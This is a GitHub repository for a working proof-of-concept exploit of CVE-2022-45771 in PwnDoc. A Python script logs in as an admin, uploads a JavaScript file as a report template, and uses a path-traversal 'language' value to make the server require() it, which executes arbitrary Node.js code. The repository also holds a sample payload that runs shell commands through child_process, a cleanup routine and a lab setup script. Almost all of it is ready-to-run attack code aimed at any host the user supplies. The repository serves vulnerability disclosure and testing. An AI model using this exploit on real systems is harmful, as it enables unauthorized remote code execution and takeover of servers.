├── requirements.txt ├── .github ├── demo.mp4 ├── FUNDING.yml ├── banner.png ├── pwndoc-logo.png └── pwndoc-logo-white.png ├── files ├── blanktemplate.docx └── exploit.js ├── test_env └── start.sh ├── README.md └── CVE-2022-45771-Pwndoc-LFI-to-RCE.py /requirements.txt: -------------------------------------------------------------------------------- 1 | requests -------------------------------------------------------------------------------- /.github/demo.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/CVE-2022-45771-Pwndoc-LFI-to-RCE/HEAD/.github/demo.mp4 -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: p0dalirius 4 | patreon: Podalirius -------------------------------------------------------------------------------- /.github/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/CVE-2022-45771-Pwndoc-LFI-to-RCE/HEAD/.github/banner.png -------------------------------------------------------------------------------- /.github/pwndoc-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/CVE-2022-45771-Pwndoc-LFI-to-RCE/HEAD/.github/pwndoc-logo.png -------------------------------------------------------------------------------- /files/blanktemplate.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/CVE-2022-45771-Pwndoc-LFI-to-RCE/HEAD/files/blanktemplate.docx -------------------------------------------------------------------------------- /.github/pwndoc-logo-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/CVE-2022-45771-Pwndoc-LFI-to-RCE/HEAD/.github/pwndoc-logo-white.png -------------------------------------------------------------------------------- /test_env/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | git clone https://github.com/pwndoc/pwndoc ./pwndoc 4 | cd ./pwndoc 5 | git checkout 40a78f61cb21dfeab7135557940c4c40421d3226 6 | 7 | wget https://github.com/pwndoc/pwndoc/pull/384.patch -O 384.patch 8 | git apply --verbose 384.patch 9 | 10 | docker-compose up -------------------------------------------------------------------------------- /files/exploit.js: -------------------------------------------------------------------------------- 1 | console.log('[Podalirius] ====================================================='); 2 | 3 | var command = "ls -lha"; 4 | 5 | const { exec } = require("child_process"); 6 | 7 | exec( 8 | command, 9 | (error, stdout, stderr) => { 10 | if (error) { console.log(`error: ${error.message}`); return; } 11 | if (stderr) { console.log(`stderr: ${stderr}`); return; } 12 | console.log(`stdout: ${stdout}`); 13 | } 14 | ); 15 | 16 | console.log('[Podalirius] ====================================================='); 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![](./.github/banner.png) 2 | 3 |

4 | 5 | YouTube Channel Subscribers 6 |
7 |

8 | 9 | Pwndoc local file inclusion to remote code execution of Node.js code on the server, discovered by [@yuriisanin](https://github.com/yuriisanin) 10 | 11 | ## Features 12 | 13 | - [x] Custom Node.js code to execute server-side using `--payload-file` 14 | - [x] Cleanup after exploit 15 | 16 | ## Requirements 17 | 18 | - [x] An admin account on the PwnDoc instance 19 | 20 | ## Usage 21 | 22 | ``` 23 | $ ./CVE-2022-45771-Pwndoc-LFI-to-RCE.py -h 24 | CVE-2022-45771 Pwndoc-LFI-to-RCE v1.1 - by Remi GASCOU (Podalirius) 25 | 26 | usage: CVE-2022-45771-Pwndoc-LFI-to-RCE.py [-h] -u USERNAME -p PASSWORD -H HOST [-P PORT] [-v] [--http] [-f PAYLOAD_FILE] 27 | 28 | Poc of CVE-2022-45771 Pwndoc-LFI-to-RCE 29 | 30 | options: 31 | -h, --help show this help message and exit 32 | -u USERNAME, --username USERNAME 33 | Pwndoc username 34 | -p PASSWORD, --password PASSWORD 35 | Pwndoc password 36 | -H HOST, --host HOST Pwndoc ip 37 | -P PORT, --port PORT Pwndoc port 38 | -v, --verbose Verbose mode. (default: False) 39 | --http HTTP mode. (default: False) 40 | -f PAYLOAD_FILE, --payload-file PAYLOAD_FILE 41 | File containing node.js code to run on the server. 42 | ``` 43 | 44 | ## Demonstration 45 | 46 | ``` 47 | ./CVE-2022-45771-Pwndoc-LFI-to-RCE.py -u admin -p 'Admin123!' --host 127.0.0.1 --payload-file files/exploit.js 48 | ``` 49 | 50 | https://user-images.githubusercontent.com/79218792/207442497-3228c436-5755-4a9a-9931-b23402dc9e86.mp4 51 | 52 | ## References 53 | - Issue https://github.com/pwndoc/pwndoc/issues/401 by [@yuriisanin](https://github.com/yuriisanin) 54 | - https://www.youtube.com/watch?v=jffBkEdF7RY 55 | -------------------------------------------------------------------------------- /CVE-2022-45771-Pwndoc-LFI-to-RCE.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : CVE-2022-45771-Pwndoc-LFI-to-RCE.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 13 Dec 2022 6 | 7 | import argparse 8 | import base64 9 | import os 10 | import requests 11 | import random 12 | 13 | 14 | def parseArgs(): 15 | print("PoC CVE-2022-45771 - Pwndoc LFI to RCE - by Remi GASCOU (Podalirius)\n") 16 | parser = argparse.ArgumentParser(description="PoC CVE-2022-45771 - Pwndoc LFI to RCE - by Remi GASCOU (Podalirius)") 17 | parser.add_argument("-u", "--username", default=None, required=True, help='Pwndoc username') 18 | parser.add_argument("-p", "--password", default=None, required=True, help='Pwndoc password') 19 | parser.add_argument("-H", "--host", default=None, required=True, type=str, help='Pwndoc ip') 20 | parser.add_argument("-P", "--port", default=8443, required=False, type=int, help='Pwndoc port') 21 | parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)') 22 | parser.add_argument("--http", default=False, action="store_true", help='HTTP mode. (default: False)') 23 | parser.add_argument("-f", "--payload-file", default=None, help='File containing node.js code to run on the server.') 24 | return parser.parse_args() 25 | 26 | 27 | def gen_random_name(length=8): 28 | alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 29 | name = "" 30 | for k in range(length): 31 | name += random.choice(alphabet) 32 | return name 33 | 34 | 35 | def login(session, target, username, password, verbose=False): 36 | success = False 37 | r = session.post( 38 | target + "/api/users/token", 39 | json={"username": username, "password": password, "totpToken": ""}, 40 | verify=False 41 | ) 42 | if r.json()["status"] == "success": 43 | if verbose: 44 | print("[>] Successfully logged in.") 45 | user = { 46 | "token": r.json()["datas"]["token"], 47 | "refreshToken": r.json()["datas"]["refreshToken"] 48 | } 49 | session.cookies.set("token", "JWT%20" + user["token"]) 50 | success = True 51 | elif r.json()["status"] == "error": 52 | if verbose: 53 | print("[!] Login error. (%s)" % r.json()["status"]) 54 | success = False 55 | return success 56 | 57 | 58 | def create_audit(session, target, auditName, auditLanguage, auditType, verbose=False): 59 | r = session.post( 60 | target + "/api/audits", 61 | json={ 62 | "name": auditName, 63 | "language": auditLanguage, 64 | "auditType": auditType 65 | } 66 | ) 67 | if r.json()["status"] == "success": 68 | print("[+] Audit '%s' (%s) was successfully created." % (r.json()["datas"]["audit"]["name"], r.json()["datas"]["audit"]["_id"])) 69 | return r.json()["datas"]["audit"]["_id"] 70 | elif r.json()["status"] == "error": 71 | print("[!] Error in audit creation. (%s)" % r.json()["datas"]) 72 | return None 73 | return None 74 | 75 | 76 | def create_audit_language(session, target, locale, language, verbose=False): 77 | success = False 78 | r = session.post( 79 | target + "/api/data/languages", 80 | json={ 81 | "locale": locale, 82 | "language": language 83 | } 84 | ) 85 | if r.json()["status"] == "success": 86 | print("[+] Language '%s' and locale '%s' were successfully created." % (language, locale)) 87 | success = True 88 | elif r.json()["status"] == "error": 89 | print("[!] Error in language or locale creation. (%s)" % r.json()["datas"]) 90 | success = False 91 | return success 92 | 93 | 94 | def create_audit_type(session, target, auditTypeName, templateName, templateLocale, templateId, verbose=False): 95 | success = False 96 | r = session.post( 97 | target + "/api/data/audit-types", 98 | json={ 99 | "name": auditTypeName, 100 | "templates": [ 101 | { 102 | "name": templateName, 103 | "locale": templateLocale, 104 | "template": templateId 105 | } 106 | ], 107 | "sections":[], 108 | "hidden":[] 109 | } 110 | ) 111 | if r.json()["status"] == "success": 112 | print("[+] AuditType '%s' was successfully created for template '%s' (%s)." % (auditTypeName, templateId, templateName)) 113 | success = True 114 | elif r.json()["status"] == "error": 115 | print("[!] Error in AuditType creation. (%s)" % r.json()["datas"]) 116 | success = False 117 | return success 118 | 119 | 120 | def set_audit_template(session, target, auditId, auditName, auditType, auditLanguage, templateId, verbose=False): 121 | success = False 122 | r = session.put( 123 | target + "/api/audits/%s/general" % auditId, 124 | json={ 125 | "collaborators": [], 126 | "reviewers": [], 127 | "_id": auditId, 128 | "name": auditName, 129 | "language": auditLanguage, 130 | "auditType": auditType, 131 | "customFields": [], 132 | "template": templateId, 133 | "scope": [] 134 | } 135 | ) 136 | if r.json()["status"] == "success": 137 | print("[+] Template '%s' was successfully added to audit '%s'." % (templateId, auditName)) 138 | success = True 139 | elif r.json()["status"] == "error": 140 | print("[!] Error in adding template to audit. (%s)" % r.json()["datas"]) 141 | success = False 142 | return success 143 | 144 | 145 | def generate_report(session, target, auditId, verbose=False): 146 | success = False 147 | r = session.get(target + "/api/audits/%s/generate" % auditId) 148 | 149 | 150 | def create_template(session, target, templateName, path_to_file=None, ext="docx", rawdata=b'\x00', verbose=False): 151 | if path_to_file is not None: 152 | f = open(path_to_file, "rb") 153 | bd64data = base64.b64encode(f.read()).decode('utf-8') 154 | f.close() 155 | else: 156 | bd64data = base64.b64encode(rawdata).decode('utf-8') 157 | 158 | r = session.post( 159 | target + "/api/templates", 160 | json={ 161 | "name": templateName, 162 | "file": bd64data, 163 | "ext": ext 164 | } 165 | ) 166 | if r.json()["status"] == "success": 167 | print("[+] Template '%s.%s' was successfully created." % (templateName, ext)) 168 | return r.json()["datas"]['_id'] 169 | 170 | elif r.json()["status"] == "error": 171 | print("[!] Error in template creation. (%s)" % r.json()["datas"]) 172 | return None 173 | 174 | return None 175 | 176 | 177 | def delete_audit(session, target, auditId, verbose=False): 178 | print("[+] Deleting audit '%s'" % auditId) 179 | r = session.delete(target + "/api/audits/%s" % auditId) 180 | 181 | 182 | def delete_audit_type(session, target, auditType, verbose=False): 183 | print("[+] Deleting auditType '%s'" % auditType) 184 | r = session.get(target + "/api/data/audit-types") 185 | if r.json()["status"] == "success": 186 | new_audit_types = [] 187 | for at in r.json()["datas"]: 188 | if at["name"] != auditType: 189 | new_audit_types.append(at) 190 | r = session.put(target + "/api/data/audit-types", json=new_audit_types) 191 | elif r.json()["status"] == "error": 192 | print("[!] Error in listing auditType. (%s)" % r.json()["datas"]) 193 | 194 | 195 | def delete_language_and_locale(session, target, language, locale, verbose=False): 196 | print("[+] Deleting language '%s', locale '%s'" % (language, locale)) 197 | r = session.get(target + "/api/data/languages") 198 | if r.json()["status"] == "success": 199 | new_languages = [] 200 | for ll in r.json()["datas"]: 201 | if ll["language"] != language and ll["locale"] != locale: 202 | new_languages.append(ll) 203 | r = session.put(target + "/api/data/languages", json=new_languages) 204 | elif r.json()["status"] == "error": 205 | print("[!] Error in listing languages. (%s)" % r.json()["datas"]) 206 | 207 | 208 | def delete_template(session, target, templateId, verbose=False): 209 | print("[+] Deleting template '%s'" % templateId) 210 | r = session.delete(target + "/api/templates/%s" % templateId) 211 | 212 | 213 | if __name__ == '__main__': 214 | options = parseArgs() 215 | 216 | if options.http: 217 | target = "http://%s:%d" % (options.host, options.port) 218 | else: 219 | target = "https://%s:%d" % (options.host, options.port) 220 | # Disable warings of insecure connection for invalid certificates 221 | requests.packages.urllib3.disable_warnings() 222 | # Allow use of deprecated and weak cipher methods 223 | requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' 224 | try: 225 | requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' 226 | except AttributeError: 227 | pass 228 | 229 | session = requests.Session() 230 | 231 | logged_in = login(session=session, target=target, username=options.username, password=options.password, verbose=options.verbose) 232 | 233 | if logged_in: 234 | # Creating a random audit language 235 | locale, language = gen_random_name(8), gen_random_name(8) 236 | create_audit_language(session=session, target=target, locale=locale, language=language) 237 | 238 | # Creating blank template for auditType 239 | b64data = "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" 240 | blankTemplateName = gen_random_name(16) 241 | if options.verbose: 242 | print("[debug] Using blankTemplateName = '%s'" % blankTemplateName) 243 | blankTemplateId = create_template(session=session, target=target, templateName=blankTemplateName, rawdata=base64.b64decode(b64data), verbose=options.verbose) 244 | 245 | if blankTemplateId is not None: 246 | # Creating new auditType 247 | auditTypeName = gen_random_name(16) 248 | if options.verbose: 249 | print("[debug] Using auditType = '%s'" % auditTypeName) 250 | create_audit_type(session=session, target=target, auditTypeName=auditTypeName, templateName=blankTemplateName, templateLocale=locale, templateId=blankTemplateId, verbose=options.verbose) 251 | 252 | # Creating exploit template (arbitrary file upload) 253 | print("[+] Creating the exploit template (arbitrary file upload)") 254 | exploitTemplateName = gen_random_name(16) 255 | auditLanguage = "../../report-templates/%s.js" % exploitTemplateName 256 | if options.verbose: 257 | print("[debug] Using blankTemplateName = '%s'" % exploitTemplateName) 258 | 259 | payload = b"require('child_process').spawn('id')" 260 | if options.payload_file is not None: 261 | if os.path.exists(options.payload_file): 262 | f = open(options.payload_file, "rb") 263 | payload = f.read() 264 | f.close() 265 | exploitTemplateId = create_template(session=session, target=target, templateName=exploitTemplateName, ext="js", rawdata=payload, verbose=options.verbose) 266 | 267 | # Creating an audit to trigger the RCE 268 | print("[+] Creating an audit to trigger the RCE through require('../../report-templates/%s.js')" % exploitTemplateName) 269 | auditName = gen_random_name(16) 270 | if options.verbose: 271 | print("[debug] Using auditName = '%s'" % auditName) 272 | auditId = create_audit(session=session, target=target, auditName=auditName, auditLanguage=auditLanguage, auditType=auditTypeName, verbose=options.verbose) 273 | 274 | if auditId is not None: 275 | template_updated = set_audit_template(session=session, target=target, auditName=auditName, auditId=auditId, auditType=auditTypeName, auditLanguage=auditLanguage, templateId=blankTemplateId, verbose=options.verbose) 276 | 277 | if template_updated: 278 | print("[+] Generating report and triggering server-side code execution...") 279 | generate_report(session, target, auditId, verbose=False) 280 | input("\nPress enter to start cleaning up exploit objects...\n") 281 | delete_audit(session=session, target=target, auditId=auditId, verbose=options.verbose) 282 | delete_audit_type(session=session, target=target, auditType=auditTypeName, verbose=options.verbose) 283 | delete_language_and_locale(session=session, target=target, language=language, locale=locale, verbose=options.verbose) 284 | delete_template(session=session, target=target, templateId=blankTemplateId, verbose=options.verbose) 285 | delete_template(session=session, target=target, templateId=exploitTemplateId, verbose=options.verbose) 286 | else: 287 | print("[!] Could not set template '%s' in audit '%s'." % (exploitTemplateId, auditName)) 288 | else: 289 | print("[!] Could not create audit.") 290 | else: 291 | print("[!] Could not create template.") 292 | 293 | print("[+] Bye bye!") 294 | 295 | --------------------------------------------------------------------------------